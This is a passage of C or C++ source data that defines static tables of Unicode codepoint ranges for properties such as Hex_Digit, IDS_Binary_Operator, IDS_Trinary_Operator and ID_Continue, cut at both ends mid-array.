{0x1BE6, 0x1BE6}, {0x1BE8, 0x1BE9}, {0x1BED, 0x1BED}, {0x1BEF, 0x1BF3}, {0x1C2C, 0x1C33}, {0x1C36, 0x1C37}, {0x1CD0, 0x1CD2}, {0x1CD4, 0x1CE0}, {0x1CE2, 0x1CE8}, {0x1CED, 0x1CED}, {0x1CF4, 0x1CF4}, {0x1CF8, 0x1CF9}, {0x1DC0, 0x1DFF}, {0x200C, 0x200C}, {0x20D0, 0x20F0}, {0x2CEF, 0x2CF1}, {0x2D7F, 0x2D7F}, {0x2DE0, 0x2DFF}, {0x302A, 0x302F}, {0x3099, 0x309A}, {0xA66F, 0xA672}, {0xA674, 0xA67D}, {0xA69E, 0xA69F}, {0xA6F0, 0xA6F1}, {0xA802, 0xA802}, {0xA806, 0xA806}, {0xA80B, 0xA80B}, {0xA825, 0xA826}, {0xA82C, 0xA82C}, {0xA8C4, 0xA8C5}, {0xA8E0, 0xA8F1}, {0xA8FF, 0xA8FF}, {0xA926, 0xA92D}, {0xA947, 0xA951}, {0xA953, 0xA953}, {0xA980, 0xA982}, {0xA9B3, 0xA9B3}, {0xA9B6, 0xA9B9}, {0xA9BC, 0xA9BD}, {0xA9C0, 0xA9C0}, {0xA9E5, 0xA9E5}, {0xAA29, 0xAA2E}, {0xAA31, 0xAA32}, {0xAA35, 0xAA36}, {0xAA43, 0xAA43}, {0xAA4C, 0xAA4C}, {0xAA7C, 0xAA7C}, {0xAAB0, 0xAAB0}, {0xAAB2, 0xAAB4}, {0xAAB7, 0xAAB8}, {0xAABE, 0xAABF}, {0xAAC1, 0xAAC1}, {0xAAEC, 0xAAED}, {0xAAF6, 0xAAF6}, {0xABE5, 0xABE5}, {0xABE8, 0xABE8}, {0xABED, 0xABED}, {0xFB1E, 0xFB1E}, {0xFE00, 0xFE0F}, {0xFE20, 0xFE2F}, {0xFF9E, 0xFF9F}, {0x101FD, 0x101FD}, {0x102E0, 0x102E0}, {0x10376, 0x1037A}, {0x10A01, 0x10A03}, {0x10A05, 0x10A06}, {0x10A0C, 0x10A0F}, {0x10A38, 0x10A3A}, {0x10A3F, 0x10A3F}, {0x10AE5, 0x10AE6}, {0x10D24, 0x10D27}, {0x10D69, 0x10D6D}, {0x10EAB, 0x10EAC}, {0x10EFA, 0x10EFF}, {0x10F46, 0x10F50}, {0x10F82, 0x10F85}, {0x11001, 0x11001}, {0x11038, 0x11046}, {0x11070, 0x11070}, {0x11073, 0x11074}, {0x1107F, 0x11081}, {0x110B3, 0x110B6}, {0x110B9, 0x110BA}, {0x110C2, 0x110C2}, {0x11100, 0x11102}, {0x11127, 0x1112B}, {0x1112D, 0x11134}, {0x11173, 0x11173}, {0x11180, 0x11181}, {0x111B6, 0x111BE}, {0x111C0, 0x111C0}, {0x111C9, 0x111CC}, {0x111CF, 0x111CF}, {0x1122F, 0x11231}, {0x11234, 0x11237}, {0x1123E, 0x1123E}, {0x11241, 0x11241}, {0x112DF, 0x112DF}, {0x112E3, 0x112EA}, {0x11300, 0x11301}, {0x1133B, 0x1133C}, {0x1133E, 0x1133E}, {0x11340, 0x11340}, {0x1134D, 0x1134D}, {0x11357, 0x11357}, {0x11366, 0x1136C}, {0x11370, 0x11374}, {0x113B8, 0x113B8}, {0x113BB, 0x113C0}, {0x113C2, 0x113C2}, {0x113C5, 0x113C5}, {0x113C7, 0x113C9}, {0x113CE, 0x113D0}, {0x113D2, 0x113D2}, {0x113E1, 0x113E2}, {0x11438, 0x1143F}, {0x11442, 0x11444}, {0x11446, 0x11446}, {0x1145E, 0x1145E}, {0x114B0, 0x114B0}, {0x114B3, 0x114B8}, {0x114BA, 0x114BA}, {0x114BD, 0x114BD}, {0x114BF, 0x114C0}, {0x114C2, 0x114C3}, {0x115AF, 0x115AF}, {0x115B2, 0x115B5}, {0x115BC, 0x115BD}, {0x115BF, 0x115C0}, {0x115DC, 0x115DD}, {0x11633, 0x1163A}, {0x1163D, 0x1163D}, {0x1163F, 0x11640}, {0x116AB, 0x116AB}, {0x116AD, 0x116AD}, {0x116B0, 0x116B7}, {0x1171D, 0x1171D}, {0x1171F, 0x1171F}, {0x11722, 0x11725}, {0x11727, 0x1172B}, {0x1182F, 0x11837}, {0x11839, 0x1183A}, {0x11930, 0x11930}, {0x1193B, 0x1193E}, {0x11943, 0x11943}, {0x119D4, 0x119D7}, {0x119DA, 0x119DB}, {0x119E0, 0x119E0}, {0x11A01, 0x11A0A}, {0x11A33, 0x11A38}, {0x11A3B, 0x11A3E}, {0x11A47, 0x11A47}, {0x11A51, 0x11A56}, {0x11A59, 0x11A5B}, {0x11A8A, 0x11A96}, {0x11A98, 0x11A99}, {0x11B60, 0x11B60}, {0x11B62, 0x11B64}, {0x11B66, 0x11B66}, {0x11C30, 0x11C36}, {0x11C38, 0x11C3D}, {0x11C3F, 0x11C3F}, {0x11C92, 0x11CA7}, {0x11CAA, 0x11CB0}, {0x11CB2, 0x11CB3}, {0x11CB5, 0x11CB6}, {0x11D31, 0x11D36}, {0x11D3A, 0x11D3A}, {0x11D3C, 0x11D3D}, {0x11D3F, 0x11D45}, {0x11D47, 0x11D47}, {0x11D90, 0x11D91}, {0x11D95, 0x11D95}, {0x11D97, 0x11D97}, {0x11EF3, 0x11EF4}, {0x11F00, 0x11F01}, {0x11F36, 0x11F3A}, {0x11F40, 0x11F42}, {0x11F5A, 0x11F5A}, {0x13440, 0x13440}, {0x13447, 0x13455}, {0x1611E, 0x16129}, {0x1612D, 0x1612F}, {0x16AF0, 0x16AF4}, {0x16B30, 0x16B36}, {0x16F4F, 0x16F4F}, {0x16F8F, 0x16F92}, {0x16FE4, 0x16FE4}, {0x16FF0, 0x16FF1}, {0x1BC9D, 0x1BC9E}, {0x1CF00, 0x1CF2D}, {0x1CF30, 0x1CF46}, {0x1D165, 0x1D169}, {0x1D16D, 0x1D172}, {0x1D17B, 0x1D182}, {0x1D185, 0x1D18B}, {0x1D1AA, 0x1D1AD}, {0x1D242, 0x1D244}, {0x1DA00, 0x1DA36}, {0x1DA3B, 0x1DA6C}, {0x1DA75, 0x1DA75}, {0x1DA84, 0x1DA84}, {0x1DA9B, 0x1DA9F}, {0x1DAA1, 0x1DAAF}, {0x1E000, 0x1E006}, {0x1E008, 0x1E018}, {0x1E01B, 0x1E021}, {0x1E023, 0x1E024}, {0x1E026, 0x1E02A}, {0x1E08F, 0x1E08F}, {0x1E130, 0x1E136}, {0x1E2AE, 0x1E2AE}, {0x1E2EC, 0x1E2EF}, {0x1E4EC, 0x1E4EF}, {0x1E5EE, 0x1E5EF}, {0x1E6E3, 0x1E6E3}, {0x1E6E6, 0x1E6E6}, {0x1E6EE, 0x1E6EF}, {0x1E6F5, 0x1E6F5}, {0x1E8D0, 0x1E8D6}, {0x1E944, 0x1E94A}, {0xE0020, 0xE007F}, {0xE0100, 0xE01EF}, }; static const UnicodeRange kRanges_Hex_Digit[] = { {0x30, 0x39}, {0x41, 0x46}, {0x61, 0x66}, {0xFF10, 0xFF19}, {0xFF21, 0xFF26}, {0xFF41, 0xFF46}, }; static const UnicodeRange kRanges_IDS_Binary_Operator[] = { {0x2FF0, 0x2FF1}, {0x2FF4, 0x2FFD}, {0x31EF, 0x31EF}, }; static const UnicodeRange kRanges_IDS_Trinary_Operator[] = { {0x2FF2, 0x2FF3}, }; static const UnicodeRange kRanges_ID_Continue[] = { {0x30, 0x39}, {0x41, 0x5A}, {0x5F, 0x5F}, {0x61, 0x7A}, {0xAA, 0xAA}, {0xB5, 0xB5}, {0xB7, 0xB7}, {0xBA, 0xBA}, {0xC0, 0xD6}, {0xD8, 0xF6}, {0xF8, 0x2C1}, {0x2C6, 0x2D1}, {0x2E0, 0x2E4}, {0x2EC, 0x2EC}, {0x2EE, 0x2EE}, {0x300, 0x374}, {0x376, 0x377}, {0x37A, 0x37D}, {0x37F, 0x37F}, {0x386, 0x38A}, {0x38C, 0x38C}, {0x38E, 0x3A1}, {0x3A3, 0x3F5}, {0x3F7, 0x481}, {0x483, 0x487}, {0x48A, 0x52F}, {0x531, 0x556}, {0x559, 0x559}, {0x560, 0x588}, {0x591, 0x5BD}, {0x5BF, 0x5BF}, {0x5C1, 0x5C2}, {0x5C4, 0x5C5}, {0x5C7, 0x5C7}, {0x5D0, 0x5EA}, {0x5EF, 0x5F2}, {0x610, 0x61A}, {0x620, 0x669}, {0x66E, 0x6D3}, {0x6D5, 0x6DC}, {0x6DF, 0x6E8}, {0x6EA, 0x6FC}, {0x6FF, 0x6FF}, {0x710, 0x74A}, {0x74D, 0x7B1}, {0x7C0, 0x7F5}, {0x7FA, 0x7FA}, {0x7FD, 0x7FD}, {0x800, 0x82D}, {0x840, 0x85B}, {0x860, 0x86A}, {0x870, 0x887}, {0x889, 0x88F}, {0x897, 0x8E1}, {0x8E3, 0x963}, {0x966, 0x96F}, {0x971, 0x983}, {0x985, 0x98C}, {0x98F, 0x990}, {0x993, 0x9A8}, {0x9AA, 0x9B0}, {0x9B2, 0x9B2}, {0x9B6, 0x9B9}, {0x9BC, 0x9C4}, {0x9C7, 0x9C8}, {0x9CB, 0x9CE}, {0x9D7, 0x9D7}, {0x9DC, 0x9DD}, {0x9DF, 0x9E3}, {0x9E6, 0x9F1}, {0x9FC, 0x9FC}, {0x9FE, 0x9FE}, {0xA01, 0xA03}, {0xA05, 0xA0A}, {0xA0F, 0xA10}, {0xA13, 0xA28}, {0xA2A, 0xA30}, {0xA32, 0xA33}, {0xA35, 0xA36}, {0xA38, 0xA39}, {0xA3C, 0xA3C}, {0xA3E, 0xA42}, {0xA47, 0xA48}, {0xA4B, 0xA4D}, {0xA51, 0xA51}, {0xA59, 0xA5C}, {0xA5E, 0xA5E}, {0xA66, 0xA75}, {0xA81, 0xA83}, {0xA85, 0xA8D}, {0xA8F, 0xA91}, {0xA93, 0xAA8}, {0xAAA, 0xAB0}, {0xAB2, 0xAB3}, {0xAB5, 0xAB9}, {0xABC, 0xAC5}, {0xAC7, 0xAC9}, {0xACB, 0xACD}, {0xAD0, 0xAD0}, {0xAE0, 0xAE3}, {0xAE6, 0xAEF}, {0xAF9, 0xAFF}, {0xB01, 0xB03}, {0xB05, 0xB0C}, {0xB0F, 0xB10}, {0xB13, 0xB28}, {0xB2A, 0xB30}, {0xB32, 0xB33}, {0xB35, 0xB39}, {0xB3C, 0xB44}, {0xB47, 0xB48}, {0xB4B, 0xB4D}, {0xB55, 0xB57}, {0xB5C, 0xB5D}, {0xB5F, 0xB63}, {0xB66, 0xB6F}, {0xB71, 0xB71}, {0xB82, 0xB83}, {0xB85, 0xB8A}, {0xB8E, 0xB90}, {0xB92, 0xB95}, {0xB99, 0xB9A}, {0xB9C, 0xB9C}, {0xB9E, 0xB9F}, {0xBA3, 0xBA4}, {0xBA8, 0xBAA}, {0xBAE, 0xBB9}, {0xBBE, 0xBC2}, {0xBC6, 0xBC8}, {0xBCA, 0xBCD}, {0xBD0, 0xBD0}, {0xBD7, 0xBD7}, {0xBE6, 0xBEF}, {0xC00, 0xC0C}, {0xC0E, 0xC10}, {0xC12, 0xC28}, {0xC2A, 0xC39}, {0xC3C, 0xC44}, {0xC46, 0xC48}, {0xC4A, 0xC4D}, {0xC55, 0xC56}, {0xC58, 0xC5A}, {0xC5C, 0xC5D}, {0xC60, 0xC63}, {0xC66, 0xC6F}, {0xC80, 0xC83}, {0xC85, 0xC8C}, {0xC8E, 0xC90}, {0xC92, 0xCA8}, {0xCAA, 0xCB3}, {0xCB5, 0xCB9}, {0xCBC, 0xCC4}, {0xCC6, 0xCC8}, {0xCCA, 0xCCD}, {0xCD5, 0xCD6}, {0xCDC, 0xCDE}, {0xCE0, 0xCE3}, {0xCE6, 0xCEF}, {0xCF1, 0xCF3}, {0xD00, 0xD0C}, {0xD0E, 0xD10}, {0xD12, 0xD44}, {0xD46, 0xD48}, {0xD4A, 0xD4E}, {0xD54, 0xD57}, {0xD5F, 0xD63}, {0xD66, 0xD6F}, {0xD7A, 0xD7F}, {0xD81, 0xD83}, {0xD85, 0xD96}, {0xD9A, 0xDB1}, {0xDB3, 0xDBB}, {0xDBD, 0xDBD}, {0xDC0, 0xDC6}, {0xDCA, 0xDCA}, {0xDCF, 0xDD4}, {0xDD6, 0xDD6}, {0xDD8, 0xDDF}, {0xDE6, 0xDEF}, {0xDF2, 0xDF3}, {0xE01, 0xE3A}, {0xE40, 0xE4E}, {0xE50, 0xE59}, {0xE81, 0xE82}, {0xE84, 0xE84}, {0xE86, 0xE8A}, {0xE8C, 0xEA3}, {0xEA5, 0xEA5}, {0xEA7, 0xEBD}, {0xEC0, 0xEC4}, {0xEC6, 0xEC6}, {0xEC8, 0xECE}, {0xED0, 0xED9}, {0xEDC, 0xEDF}, {0xF00, 0xF00}, {0xF18, 0xF19}, {0xF20, 0xF29}, {0xF35, 0xF35}, {0xF37, 0xF37}, {0xF39, 0xF39}, {0xF3E, 0xF47}, {0xF49, 0xF6C}, {0xF71, 0xF84}, {0xF86, 0xF97}, {0xF99, 0xFBC}, {0xFC6, 0xFC6}, {0x1000, 0x1049}, {0x1050, 0x109D}, {0x10A0, 0x10C5}, {0x10C7, 0x10C7}, {0x10CD, 0x10CD}, {0x10D0, 0x10FA}, {0x10FC, 0x1248}, {0x124A, 0x124D}, {0x1250, 0x1256}, {0x1258, 0x1258}, {0x125A, 0x125D}, {0x1260, 0x1288}, {0x128A, 0x128D}, {0x1290, 0x12B0}, {0x12B2, 0x12B5}, {0x12B8, 0x12BE}, {0x12C0, 0x12C0}, {0x12C2, 0x12C5}, {0x12C8, 0x12D6}, {0x12D8, 0x1310}, {0x1312, 0x1315}, {0x1318, 0x135A}, {0x135D, 0x135F}, {0x1369, 0x1371}, {0x1380, 0x138F}, {0x13A0, 0x13F5}, {0x13F8, 0x13FD}, {0x1401, 0x166C}, {0x166F, 0x167F}, {0x1681, 0x169A}, {0x16A0, 0x16EA}, {0x16EE, 0x16F8}, {0x1700, 0x1715}, {0x171F, 0x1734}, {0x1740, 0x1753}, {0x1760, 0x176C}, {0x176E, 0x1770}, {0x1772, 0x1773}, {0x1780, 0x17D3}, {0x17D7, 0x17D7}, {0x17DC, 0x17DD}, {0x17E0, 0x17E9}, {0x180B, 0x180D}, {0x180F, 0x1819}, {0x1820, 0x1878}, {0x1880, 0x18AA}, {0x18B0, 0x18F5}, {0x1900, 0x191E}, {0x1920, 0x192B}, {0x1930, 0x193B}, {0x1946, 0x196D}, {0x1970, 0x1974}, {0x1980, 0x19AB}, {0x19B0, 0x19C9}, {0x19D0, 0x19DA}, {0x1A00, 0x1A1B}, {0x1A20, 0x1A5E}, {0x1A60, 0x1A7C}, {0x1A7F, 0x1A89}, {0x1A90, 0x1A99}, {0x1AA7, 0x1AA7}, {0x1AB0, 0x1ABD}, {0x1ABF, 0x1ADD}, {0x1AE0, 0x1AEB}, {0x1B00, 0x1B4C}, {0x1B50, 0x1B59}, {0x1B6B, 0x1B73}, {0x1B80, 0x1BF3}, {0x1C00, 0x1C37}, {0x1C40, 0x1C49}, {0x1C4D, 0x1C7D}, {0x1C80, 0x1C8A}, {0x1C90, 0x1CBA}, {0x1CBD, 0x1CBF}, {0x1CD0, 0x1CD2}, {0x1CD4, 0x1CFA}, {0x1D00, 0x1F15}, {0x1F18, 0x1F1D}, {0x1F20, 0x1F45}, {0x1F48, 0x1F4D}, {0x1F50, 0x1F57}, {0x1F59, 0x1F59}, {0x1F5B, 0x1F5B}, {0x1F5D, 0x1F5D}, {0x1F5F, 0x1F7D}, {0x1F80, 0x1FB4}, {0x1FB6, 0x1FBC}, {0x1FBE, 0x1FBE}, {0x1FC2, 0x1FC4}, {0x1FC6, 0x1FCC}, {0x1FD0, 0x1FD3}, {0x1FD6, 0x1FDB}, {0x1FE0, 0x1FEC}, {0x1FF2, 0x1FF4}, {0x1FF6, 0x1FFC}, {0x200C, 0x200D}, {0x203F, 0x2040}, {0x2054, 0x2054}, {0x2071, 0x2071}, {0x207F, 0x207F}, {0x2090, 0x209C}, {0x20D0, 0x20DC}, {0x20E1, 0x20E1}, {0x20E5, 0x20F0}, {0x2102, 0x2102}, {0x2107, 0x2107}, {0x210A, 0x2113}, {0x2115, 0x2115}, {0x2118, 0x211D}, {0x2124, 0x2124}, {0x2126, 0x2126}, {0x2128, 0x2128}, {0x212A, 0x2139}, {0x213C, 0x213F}, {0x2145, 0x2149}, {0x214E, 0x214E}, {0x2160, 0x2188}, {0x2C00, 0x2CE4}, {0x2CEB, 0x2CF3}, {0x2D00, 0x2D25}, {0x2D27, 0x2D27}, {0x2D2D, 0x2D2D}, {0x2D30, 0x2D67}, {0x2D6F, 0x2D6F}, {0x2D7F, 0x2D96}, {0x2DA0, 0x2DA6}, {0x2DA8, 0x2DAE}, {0x2DB0, 0x2DB6}, {0x2DB8, 0x2DBE}, {0x2DC0, 0x2DC6}, {0x2DC8, 0x2DCE}, {0x2DD0, 0x2DD6}, {0x2DD8, 0x2DDE}, {0x2DE0, 0x2DFF}, {0x3005, 0x3007}, {0x3021, 0x302F}, {0x3031, 0x3035}, {0x3038, 0x303C}, {0x3041, 0x3096}, {0x3099, 0x309F}, {0x30A1, 0x30FF}, {0x3105, 0x312F}, {0x3131, 0x318E}, {0x31A0, 0x31BF}, {0x31F0, 0x31FF}, {0x3400, 0x4DBF}, {0x4E00, 0xA48C}, {0xA4D0, 0xA4FD}, {0xA500, 0xA60C}, {0xA610, 0xA62B}, {0xA640, 0xA66F}, {0xA674, 0xA67D}, {0xA67F, 0xA6F1}, {0xA717, 0xA71F}, {0xA722, 0xA788}, {0xA78B, 0xA7DC}, {0xA7F1, 0xA827}, {0xA82C, 0xA82C}, {0xA840, 0xA873}, {0xA880, 0xA8C5}, {0xA8D0, 0xA8D9}, {0xA8E0, 0xA8F7}, {0xA8FB, 0xA8FB}, {0xA8FD, 0xA92D}, {0xA930, 0xA953}, {0xA960, 0xA97C}, {0xA980, 0xA9C0}, {0xA9CF, 0xA9D9}, {0xA9E0, 0xA9FE}, {0xAA00, 0xAA36}, {0xAA40, 0xAA4D}, {0xAA50, 0xAA59}, {0xAA60, 0xAA76}, {0xAA7A, 0xAAC2}, {0xAADB, 0xAADD}, {0xAAE0, 0xAAEF}, {0xAAF2, 0xAAF6}, {0xAB01, 0xAB06}, {0xAB09, 0xAB0E}, {0xAB11, 0xAB16}, {0xAB20, 0xAB26}, {0xAB28, 0xAB2E}, {0xAB30, 0xAB5A}, {0xAB5C, 0xAB69}, {0xAB70, 0xABEA}, {0xABEC, 0xABED}, {0xABF0, 0xABF9}, {0xAC00, 0xD7A3}, {0xD7B0, 0xD7C6}, {0xD7CB, 0xD7FB}, {0xF900, 0xFA6D}, {0xFA70, 0xFAD9}, {0xFB00, 0xFB06}, {0xFB13, 0xFB17}, {0xFB1D, 0xFB28}, {0xFB2A, 0xFB36}, {0xFB38, 0xFB3C}, {0xFB3E, 0xFB3E}, {0xFB40, 0xFB41}, {0xFB43, 0xFB44}, {0xFB46, 0xFBB1}, {0xFBD3, 0xFD3D}, {0xFD50, 0xFD8F}, {0xFD92, 0xFDC7}, {0xFDF0, 0xFDFB}, {0xFE00, 0xFE0F}, {0xFE20, 0xFE2F}, {0xFE33, 0xFE34}, {0xFE4D, 0xFE4F}, {0xFE70, 0xFE74}, {0xFE76, 0xFEFC}, {0xFF10, 0xFF19}, {0xFF21, 0xFF3A}, {0xFF3F, 0xFF3F}, {0xFF41, 0xFF5A}, {0xFF65, 0xFFBE}, {0xFFC2, 0xFFC7}, {0xFFCA, 0xFFCF}, {0xFFD2, 0xFFD7}, {0xFFDA, 0xFFDC}, {0x10000, 0x1000B}, {0x1000D, 0x10026}, {0x10028, 0x1003A}, {0x1003C, 0x1003D}, {0x1003F, 0x1004D}, {0x10050, 0x1005D}, {0x10080, 0x100FA}, {0x10140, 0x10174}, {0x101FD, 0x101FD}, {0x10280, 0x1029C}, {0x102A0, 0x102D0}, {0x102E0, 0x102E0}, {0x10300, 0x1031F}, {0x1032D, 0x1034A}, {0x10350, 0x1037A}, {0x10380, 0x1039D}, {0x103A0, 0x103C3}, {0x103C8, 0x103CF}, {0x103D1, 0x103D5}, {0x10400, 0x1049D}, {0x104A0, 0x104A9}, {0x104B0, 0x104D3}, {0x104D8, 0x104FB}, {0x10500, 0x10527}, {0x10530, 0x10563}, {0x10570, 0x1057A}, {0x1057C, 0x1058A}, {0x1058C, 0x10592}, {0x10594, 0x10595}, {0x10597, 0x105A1}, {0x105A3, 0x105B1}, {0x105B3, 0x105B9}, {0x105BB, 0x105BC}, {0x105C0, 0x105F3}, {0x10600, 0x10736}, {0x10740, 0x10755}, {0x10760, 0x10767}, {0x10780, 0x10785}, {0x10787, 0x107B0}, {0x107B2, 0x107BA}, {0x10800, 0x10805}, {0x10808, 0x10808}, {0x1080A, 0x10835}, {0x10837, 0x10838}, {0x1083C, 0x1083C}, {0x1083F, 0x10855}, {0x10860, 0x10876}, {0x10880, 0x1089E}, {0x108E0, 0x108F2}, {0x108F4, 0x108F5}, {0x10900, 0x10915}, {0x10920, 0x10939}, {0x10940, 0x10959}, {0x10980, 0x109B7}, {0x109BE, 0x109BF}, {0x10A00, 0x10A03}, {0x10A05, 0x10A06}, {0x10A0C, 0x10A13}, {0x10A15, 0x10A17}, {0x10A19, 0x10A35}, {0x10A38, 0x10A3A}, {0x10A3F, 0x10A3F}, {0x10A60, 0x10A7C}, {0x10A80, 0x10A9C}, {0x10AC0, 0x10AC7}, {0x10AC9, 0x10AE6}, {0x10B00, 0x10B35}, {0x10B40, 0x10B55}, {0x10B60, 0x10B72}, {0x10B80, 0x10B91}, {0x10C00, 0x10C48}, {0x10C80, 0x10CB2}, {0x10CC0, 0x10CF2}, {0x10D00, 0x10D27}, {0x10D30, 0x10D39}, {0x10D40, 0x10D65}, {0x10D69, 0x10D6D}, {0x10D6F, 0x10D85}, {0x10E80, 0x10EA9}, {0x10EAB, 0x10EAC}, {0x10EB0, 0x10EB1}, {0x10EC2, 0x10EC7}, {0x10EFA, 0x10F1C}, {0x10F27, 0x10F27}, {0x10F30, 0x10F50}, {0x10F70, 0x10F85}, {0x10FB0, 0x10FC4}, {0x10FE0, 0x10FF6}, {0x11000, 0x11046}, {0x11066, 0x11075}, {0x1107F, 0x110BA}, {0x110C2, 0x110C2}, {0x110D0, 0x110E8}, {0x110F0, 0x110F9}, {0x11100, 0x11134}, {0x11136, 0x1113F}, {0x11144, 0x11147}, {0x11150, 0x11173}, {0x11176, 0x11176}, {0x11180, 0x111C4}, {0x111C9, 0x111CC}, {0x111CE, 0x111DA}, {0x111DC, 0x111DC}, {0x11200, 0x11211}, {0x11213, 0x11237}, {0x1123E, 0x11241}, {0x11280, 0x11286}, {0x11288, 0x11288}, {0x1128A, 0x1128D}, {0x1128F, 0x1129D}, {0x1129F, 0x112A8}, {0x112B0, 0x112EA}, {0x112F0, 0x112F9}, {0x11300, 0x11303}, {0x11305, 0x1130C}, {0x1130F, 0x11310}, {0x11313, 0x11328}, {0x1132A, 0x11330}, {0x11332, 0x11333}, {0x11335, 0x11339}, {0x1133B, 0x11344}, {0x11347, 0x11348}, {0x1134B, 0x1134D}, {0x11350, 0x11350}, {0x11357, 0x11357}, {0x1135D, 0x11363}, {0x11366, 0x1136C}, {0x11370, 0x11374}, {0x11380, 0x11389}, {0x1138B, 0x1138B}, {0x1138E, 0x1138E}, {0x11390, 0x113B5}, {0x113B7, 0x113C0}, {0x113C2, 0x113C2}, {0x113C5, 0x113C5}, {0x113C7, 0x113CA}, {0x113CC, 0x113D3}, {0x113E1, 0x113E2}, {0x11400, 0x1144A}, {0x11450, 0x11459}, {0x1145E, 0x11461}, {0x11480, 0x114C5}, {0x114C7, 0x114C7}, {0x114D0, 0x114D9}, {0x11580, 0x115B5}, {0x115B8, 0x115C0}, {0x115D8, 0x115DD}, {0x11600, 0x11640}, {0x11644, 0x11644}, {0x11650, 0x11659}, {0x11680, 0x116B8}, {0x116C0, 0x116C9}, {0x116D0, 0x116E3}, {0x11700, 0x1171A}, {0x1171D, 0x1172B}, {0x11730, 0x11739}, {0x11740, 0x11746}, {0x11800, 0x1183A}, {0x118A0, 0x118E9}, {0x118FF, 0x11906}, {0x11909, 0x11909}, {0x1190C, 0x11913}, {0x11915, 0x11916}, {0x11918, 0x11935}, {0x11937, 0x11938}, {0x1193B, 0x11943}, {0x11950, 0x11959}, {0x119A0, 0x119A7}, {0x119AA, 0x119D7}, {0x119DA, 0x119E1}, {0x119E3, 0x119E4}, {0x11A00, 0x11A3E}, {0x11A47, 0x11A47}, {0x11A50, 0x11A99}, {0x11A9D, 0x11A9D}, {0x11AB0, 0x11AF8}, {0x11B60, 0x11B67}, {0x11BC0, 0x11BE0}, {0x11BF0, 0x11BF9}, {0x11C00, 0x11C08}, {0x11C0A, 0x11C36}, {0x11C38, 0x11C40}, {0x11C50, 0x11C59}, {0x11C72, 0x11C8F}, {0x11C92, 0x11CA7}, {0x11CA9, 0x11CB6}, {0x11D00, 0x11D06}, {0x11D08, 0x11D09}, {0x11D0B, 0x11D36}, {0x11D3A, 0x11D3A}, {0x11D3C, 0x11D3D}, {0x11D3F, 0x11D47}, {0x11D50, 0x11D59}, {0x11D60, 0x11D65}, {0x11D67, 0x11D68}, {0x11D6A, 0x11D8E}, {0x11D90, 0x11D91}, {0x11D93, 0x11D98}, {0x11DA0, 0x11DA9}, {0x11DB0, 0x11DDB}, {0x11DE0, 0x11DE9}, {0x11EE0, 0x11EF6}, {0x11F00, 0x11F10}, {0x11F12, 0x11F3A}, {0x11F3E, 0x11F42}, {0x11F50, 0x11F5A}, {0x11FB0, 0x11FB0}, {0x12000, 0x12399}, {0x12400, 0x1246E}, {0x12480, 0x12543}, {0x12F90, 0x12FF0}, {0x13000, 0x1342F}, {0x13440, 0x13455}, {0x13460, 0x143FA}, {0x14400, 0x14646}, {0x16100, 0x16139}, {0x16800, 0x16A38}, {0x16A40, 0x16A5E}, {0x16A60, 0x16A69}, {0x16A70, 0x16ABE}, {0x16AC0, 0x16AC9}, {0x16AD0, 0x16AED}, {0x16AF0, 0x16AF4}, {0x16B00, 0x16B36}, {0x16B40, 0x16B43}, {0x16B50, 0x16B59}, {0x16B63, 0x16B77}, {0x16B7D, 0x16B8F}, {0x16D40, 0x16D6C}, {0x16D70, 0x16D79}, {0x16E40, 0x16E7F}, {0x16EA0, 0x16EB8}, {0x16EBB, 0x16ED3}, {0x16F00, 0x16F4A}, {0x16F4F, 0x16F87}, {0x16F8F, 0x16F9F}, {0x16FE0, 0x16FE1}, {0x16FE3, 0x16FE4}, {0x16FF0, 0x16FF6}, {0x17000, 0x18CD5}, {0x18CFF, 0x18D1E}, {0x18D80, 0x18DF2}, {0x1AFF0, 0x1AFF3}, {0x1AFF5, 0x1AFFB}, {0x1AFFD, 0x1AFFE}, {0x1B000, 0x1B122}, {0x1B132, 0x1B132}, {0x1B150, 0x1B152}, {0x1B155, 0x1B155}, {0x1B164, 0x1B167}, {0x1B170, 0x1B2FB}, {0x1BC00, 0x1BC6A}, {0x1BC70, 0x1BC7C}, {0x1BC80, 0x1BC88}, {0x1BC90, 0x1BC99}, {0x1BC9D, 0x1BC9E}, {0x1CCF0, 0x1CCF9}, {0x1CF00, 0x1CF2D}, {0x1CF30, 0x1CF46}, {0x1D165, 0x1D169}, {0x1D16D, 0x1D172}, {0x1D17B, 0x1D182}, {0x1D185, 0x1D18B}, {0x1D1AA, 0x1D1AD}, {0x1D242, 0x1D244}, {0x1D400, 0x1D454}, {0x1D456, 0x1D49C}, {0x1D49E, 0x1D49F}, {0x1D4A2, 0x1D4A2}, {0x1D4A5, 0x1D4A6}, {0x1D4A9, 0x1D4AC}, {0x1D4AE, 0x1D4B9}, {0x1D4BB, 0x1D4BB}, {0x1D4BD, 0x1D4C3}, {0x1D4C5, 0x1D505}, {0x1D507, 0x1D50A}, {0x1D50D, 0x1D514}, {0x1D516, 0x1D51C}, {0x1D51E, 0x1D539}, {0x1D53B, 0x1D53E}, {0x1D540, 0x1D544}, {0x1D546, 0x1D546}, {0x1D54A, 0x1D550}, {0x1D552, 0x1D6A5}, {0x1D6A8, 0x1D6C0}, {0x1D6C2, 0x1D6DA}, {0x1D6DC, 0x1D6FA}, {0x1D6FC, 0x1D714}, {0x1D716, 0x1D734}, {0x1D736, 0x1D74E}, {0x1D750, 0x1D76E}, {0x1D770, 0x1D788}, {0x1D78A, 0x1D7A8}, {0x1D7AA, 0x1D7C2}, {0x1D7C4, 0x1D7CB}, {0x1D7CE, 0x1D7FF}, {0x1DA00, 0x1DA36}, {0x1DA3B, 0x1DA6C}, {0x1DA75, 0x1DA75}, {0x1DA84, 0x1DA84}, {0x1DA9B, 0x1DA9F}, {0x1DAA1, 0x1DAAF}, {0x1DF00, 0x1DF1E}, {0x1DF25, 0x1DF2A}, {0x1E000, 0x1E006}, {0x1E008, 0x1E018}, {0x1E01B, 0x1E021}, {0x1E023, 0x1E024}, {0x1E026, 0x1E02A}, {0x1E030, 0x1E06D}, {0x1E08F, 0x1E08F}, {0x1E100, 0x1E12C}, {0x1E130, 0x1E13D}, {0x1E140, 0x1E149}, {0x1E14E, 0x1E14E}, {0x1E290, 0x1E2AE}, {0x1E2C0, 0x1E2F9}, {0x1E4D0, 0x1E4F9}, {0x1E5D0, 0x1E5FA}, {0x1E6C0, 0x1E6DE}, {0x1E6E0, 0x1E6F5}, {0x1E6FE, 0x1E6FF}, {0x1E7E0, 0x1E7E6}, {0x1E7E8, 0x1E7EB}, {0x1E7ED, 0x1E7EE}, {0x1E7F0, 0x1E7FE}, {0x1E800, 0x1E8C4}, {0x1E8D0, 0x1E8D6}, {0x1E900, 0x1E94B}, {0x1E950, 0x1E959}, {0x1EE00, 0x1EE03}, 